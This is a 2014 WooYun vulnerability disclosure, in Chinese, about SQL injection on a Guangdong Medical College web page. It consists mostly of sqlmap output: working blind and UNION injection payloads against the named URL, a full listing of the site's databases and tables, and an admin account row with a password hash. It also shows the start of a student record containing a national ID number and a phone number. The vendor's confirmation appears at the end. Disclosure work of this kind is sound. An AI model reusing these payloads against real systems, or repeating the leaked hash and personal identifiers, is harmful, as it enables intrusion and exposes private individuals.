漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-051510
漏洞标题：广东医学院学生信息泄露
相关厂商：广东医学院
漏洞作者： only.
提交时间：2014-02-20 16:36
修复时间：2014-04-06 16:37
公开时间：2014-04-06 16:37
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-02-20： 细节已通知厂商并且等待厂商处理中
2014-02-26： 厂商已经确认，细节仅向厂商公开
2014-03-08： 细节向核心白帽子及相关领域专家公开
2014-03-18： 细节向普通白帽子公开
2014-03-28： 细节向实习白帽子公开
2014-04-06： 细节向公众公开
简要描述：
SQL注入导致学生信息泄露
详细说明：
注入地址：http://www.gdmc.edu.cn/view.php?id=11905
sqlmap跑，可以看见学生的身份证号，名称，电话，家庭住址等等，最下方举了个例子，我就不展示学生数据了
漏洞证明：
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=11905 AND 2241=2241
Type: UNION query
Title: MySQL UNION query (NULL) - 23 columns
Payload: id=-5049 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7175616871,0x78747a51565869447463,0x7162616371),NULL,NULL,NULL,NULL,NULL,NULL#
---
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5
available databases [26]:
[*] 123
[*] data
[*] database
[*] dept
[*] doc
[*] fxcenter
[*] gdmcnews
[*] gdschooldb
[*] information_schema
[*] jyjs2005
[*] kexueshijian
[*] liuyanben
[*] mysql
[*] news
[*] office
[*] performance_schema
[*] photoassociation
[*] president
[*] shc
[*] test
[*] xcb
[*] xq50
[*] xuebao
[*] xxgk
[*] ypzx
[*] zhaosheng
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=11905 AND 2241=2241
Type: UNION query
Title: MySQL UNION query (NULL) - 23 columns
Payload: id=-5049 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7175616871,0x78747a51565869447463,0x7162616371),NULL,NULL,NULL,NULL,NULL,NULL#
---
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5
Database: xcb
[2 tables]
+----------------------------------------------+
| user |
| news |
+----------------------------------------------+
Database: gdschooldb
[58 tables]
+----------------------------------------------+
| adminiplist |
| adminlist |
| adv |
| bottom |
| cgarner |
| chkjob |
| city |
| cityfile |
| clog |
| comp |
| company |
| companylist |
| companyxieyi |
| comptype |
| contact |
| dangan |
| danganfile |
| download |
| downloadstype |
| guest |
| gzfile |
| helplist |
| helpliststype |
| iplist |
| jobgstype |
| jobguide |
| joblist |
| jobnews |
| links |
| loglist |
| logopic |
| mglist |
| mumber_clew |
| netchkstype |
| netchktitle |
| netchkvoter |
| onlines |
| pagefolder |
| personpic |
| pgarner |
| plog |
| regstate |
| reguest |
| rejob |
| schoolgk |
| sector |
| sectorstype |
| sendjob |
| sendmeet |
| student |
| studentlist |
| studenttype |
| studentxieyi |
| stype |
| tongzhi |
| topbgcolor |
| userlist |
| xlsfile |
+----------------------------------------------+
Database: office
[2 tables]
+----------------------------------------------+
| user |
| news |
+----------------------------------------------+
Database: fxcenter
[83 tables]
+----------------------------------------------+
| v9_admin |
| v9_admin_panel |
| v9_admin_role |
| v9_admin_role_priv |
| v9_announce |
| v9_attachment |
| v9_attachment_index |
| v9_badword |
| v9_block |
| v9_block_history |
| v9_block_priv |
| v9_cache |
| v9_category |
| v9_category_priv |
| v9_collection_content |
| v9_collection_history |
| v9_collection_node |
| v9_collection_program |
| v9_comment |
| v9_comment_check |
| v9_comment_data_1 |
| v9_comment_setting |
| v9_comment_table |
| v9_content_check |
| v9_copyfrom |
| v9_datacall |
| v9_dbsource |
| v9_download |
| v9_download_data |
| v9_downservers |
| v9_extend_setting |
| v9_favorite |
| v9_hits |
| v9_ipbanned |
| v9_keylink |
| v9_link |
| v9_linkage |
| v9_log |
| v9_member |
| v9_member_detail |
| v9_member_group |
| v9_member_menu |
| v9_member_verify |
| v9_member_vip |
| v9_menu |
| v9_model |
| v9_model_field |
| v9_module |
| v9_news |
| v9_news_data |
| v9_page |
| v9_pay_account |
| v9_pay_payment |
| v9_pay_spend |
| v9_picture |
| v9_picture_data |
| v9_plugin |
| v9_plugin_var |
| v9_position |
| v9_position_data |
| v9_poster_201301 |
| v9_queue |
| v9_release_point |
| v9_search |
| v9_search_keyword |
| v9_session |
| v9_site |
| v9_special |
| v9_special_c_data |
| v9_special_content |
| v9_sphinx_counter |
| v9_sso_admin |
| v9_sso_applications |
| v9_sso_members |
| v9_sso_messagequeue |
| v9_sso_session |
| v9_sso_settings |
| v9_tag |
| v9_template_bak |
| v9_times |
| v9_type |
| v9_urlrule |
| v9_workflow |
+----------------------------------------------+
Database: xq50
[2 tables]
+----------------------------------------------+
| user |
| news |
+----------------------------------------------+
Database: mysql
[24 tables]
+----------------------------------------------+
| user |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+----------------------------------------------+
Database: news
[2 tables]
+----------------------------------------------+
| user |
| news |
+----------------------------------------------+
Database: gdmcnews
[3 tables]
+----------------------------------------------+
| user |
| news |
| udf_temp |
+----------------------------------------------+
Database: xxgk
[2 tables]
+----------------------------------------------+
| user |
| news |
+----------------------------------------------+
Database: liuyanben
[1 table]
+----------------------------------------------+
| sn_gbook |
+----------------------------------------------+
Database: photoassociation
[2 tables]
+----------------------------------------------+
| user |
| app |
+----------------------------------------------+
Database: ypzx
[1 table]
+----------------------------------------------+
| news |
+----------------------------------------------+
Database: kexueshijian
[2 tables]
+----------------------------------------------+
| user |
| news |
+----------------------------------------------+
Database: jyjs2005
[2 tables]
+----------------------------------------------+
| user |
| news |
+----------------------------------------------+
Database: information_schema
[28 tables]
+----------------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+----------------------------------------------+
Database: database
[1 table]
+----------------------------------------------+
| news |
+----------------------------------------------+
Database: president
[1 table]
+----------------------------------------------+
| pre_gbook |
+----------------------------------------------+
Database: xuebao
[9 tables]
+----------------------------------------------+
| adm_check |
| caselist |
| dbctn |
| dbfocus |
| feedback |
| news |
| orderlist |
| otherctn |
| product |
+----------------------------------------------+
Database: performance_schema
[17 tables]
+----------------------------------------------+
| cond_instances |
| events_waits_current |
| events_waits_history |
| events_waits_history_long |
| events_waits_summary_by_instance |
| events_waits_summary_by_thread_by_event_name |
| events_waits_summary_global_by_event_name |
| file_instances |
| file_summary_by_event_name |
| file_summary_by_instance |
| mutex_instances |
| performance_timers |
| rwlock_instances |
| setup_consumers |
| setup_instruments |
| setup_timers |
| threads |
+----------------------------------------------+
Database: doc
[2 tables]
+----------------------------------------------+
| user |
| documents |
+----------------------------------------------+
Database: dept
[3 tables]
+----------------------------------------------+
| user |
| navigation |
| news |
+----------------------------------------------+
Database: shc
[99 tables]
+----------------------------------------------+
| v9_admin |
| v9_admin_panel |
| v9_admin_role |
| v9_admin_role_priv |
| v9_announce |
| v9_attachment |
| v9_attachment_index |
| v9_badword |
| v9_block |
| v9_block_history |
| v9_block_priv |
| v9_cache |
| v9_category |
| v9_category_priv |
| v9_collection_content |
| v9_collection_history |
| v9_collection_node |
| v9_collection_program |
| v9_comment |
| v9_comment_check |
| v9_comment_data_1 |
| v9_comment_setting |
| v9_comment_table |
| v9_content_check |
| v9_copyfrom |
| v9_datacall |
| v9_dbsource |
| v9_download |
| v9_download_data |
| v9_downservers |
| v9_extend_setting |
| v9_favorite |
| v9_hits |
| v9_ipbanned |
| v9_keylink |
| v9_link |
| v9_linkage |
| v9_log |
| v9_member |
| v9_member_detail |
| v9_member_group |
| v9_member_menu |
| v9_member_verify |
| v9_member_vip |
| v9_menu |
| v9_message |
| v9_message_data |
| v9_message_group |
| v9_model |
| v9_model_field |
| v9_module |
| v9_mood |
| v9_news |
| v9_news_data |
| v9_page |
| v9_pay_account |
| v9_pay_payment |
| v9_pay_spend |
| v9_picture |
| v9_picture_data |
| v9_plugin |
| v9_plugin_var |
| v9_position |
| v9_position_data |
| v9_poster |
| v9_poster_201301 |
| v9_poster_space |
| v9_queue |
| v9_release_point |
| v9_search |
| v9_search_keyword |
| v9_session |
| v9_site |
| v9_sms_report |
| v9_special |
| v9_special_c_data |
| v9_special_content |
| v9_sphinx_counter |
| v9_sso_admin |
| v9_sso_applications |
| v9_sso_members |
| v9_sso_messagequeue |
| v9_sso_session |
| v9_sso_settings |
| v9_tag |
| v9_template_bak |
| v9_times |
| v9_type |
| v9_urlrule |
| v9_video |
| v9_video_content |
| v9_video_data |
| v9_video_store |
| v9_vote_data |
| v9_vote_option |
| v9_vote_subject |
| v9_wap |
| v9_wap_type |
| v9_workflow |
+----------------------------------------------+
Database: 123
[3 tables]
+----------------------------------------------+
| user |
| news |
| temp_udf |
+----------------------------------------------+
Database: zhaosheng
[2 tables]
+----------------------------------------------+
| bkcx |
| zhaos_gbook |
+----------------------------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=11905 AND 2241=2241
Type: UNION query
Title: MySQL UNION query (NULL) - 23 columns
Payload: id=-5049 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7175616871,0x78747a51565869447463,0x7162616371),NULL,NULL,NULL,NULL,NULL,NULL#
---
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5
Database: gdschooldb
Table: adminlist
[6 columns]
+-----------+--------------+
| Column | Type |
+-----------+--------------+
| cont | text |
| id | int(255) |
| pwd | varchar(255) |
| regDate | datetime |
| typeid | int(3) |
| usernames | varchar(255) |
+-----------+--------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=11905 AND 2241=2241
Type: UNION query
Title: MySQL UNION query (NULL) - 23 columns
Payload: id=-5049 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7175616871,0x78747a51565869447463,0x7162616371),NULL,NULL,NULL,NULL,NULL,NULL#
---
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5
Database: gdschooldb
Table: adminlist
[1 entry]
+----+--------+----------------------------------+------+---------+-----------+
| id | typeid | pwd | cont | regDate | usernames |
+----+--------+----------------------------------+------+---------+-----------+
| 2 | 1000 | 99653c7ab1c85b8d2640aa4cf795a5db | NULL | NULL | school |
+----+--------+----------------------------------+------+---------+-----------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=11905 AND 2241=2241
Type: UNION query
Title: MySQL UNION query (NULL) - 23 columns
Payload: id=-5049 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7175616871,0x78747a51565869447463,0x7162616371),NULL,NULL,NULL,NULL,NULL,NULL#
---
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5
Database: gdschooldb
Table: studentlist
[1719 entries]
+------+-------+--------------------+-----+------------------------------+----------------------------------+------+--------------------------------+---------+-------+--------+---------+--------+--------+---------------------------+--------+--------+----------------+---------+------------+----------+---------------------------------+----------+----------+----------+------------------------+-------------+-------------------+-----------+-----------+------------+-------------+-----------------+
| id | useid | idcard | sex | tel | pwd | cont | addr | email | sname | estate | layers | hstate | istate | answer | gstate | nation | examno | handset | regDate | postcode | question | schoolly | comedate | graddate | usernames | studentno | specialty | gzfeature | institute | useenddate | studentdate | studentfrom |
+------+-------+--------------------+-----+------------------------------+----------------------------------+------+--------------------------------+---------+-------+--------+---------+--------+--------+---------------------------+--------+--------+----------------+---------+------------+----------+---------------------------------+----------+----------+----------+------------------------+-------------+-------------------+-----------+-----------+------------+-------------+-----------------+
| 15 | 1 | 441421198505216732 | 男 | 0753-2561223
修复方案：
百度上很多，就不说明了
版权声明：转载请注明来源 only.@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2014-02-26 10:13
厂商回复：
非常感谢您的报告。
报告中的问题已确认并复现,漏洞造成大量敏感信息泄露，同时存在被进一步入侵提权的可能，危害性较大.
影响的数据：中
攻击成本：低
造成影响：高
综合评级为：高，rank：10
正在联系相关网站管理单位处置。
最新状态：
暂无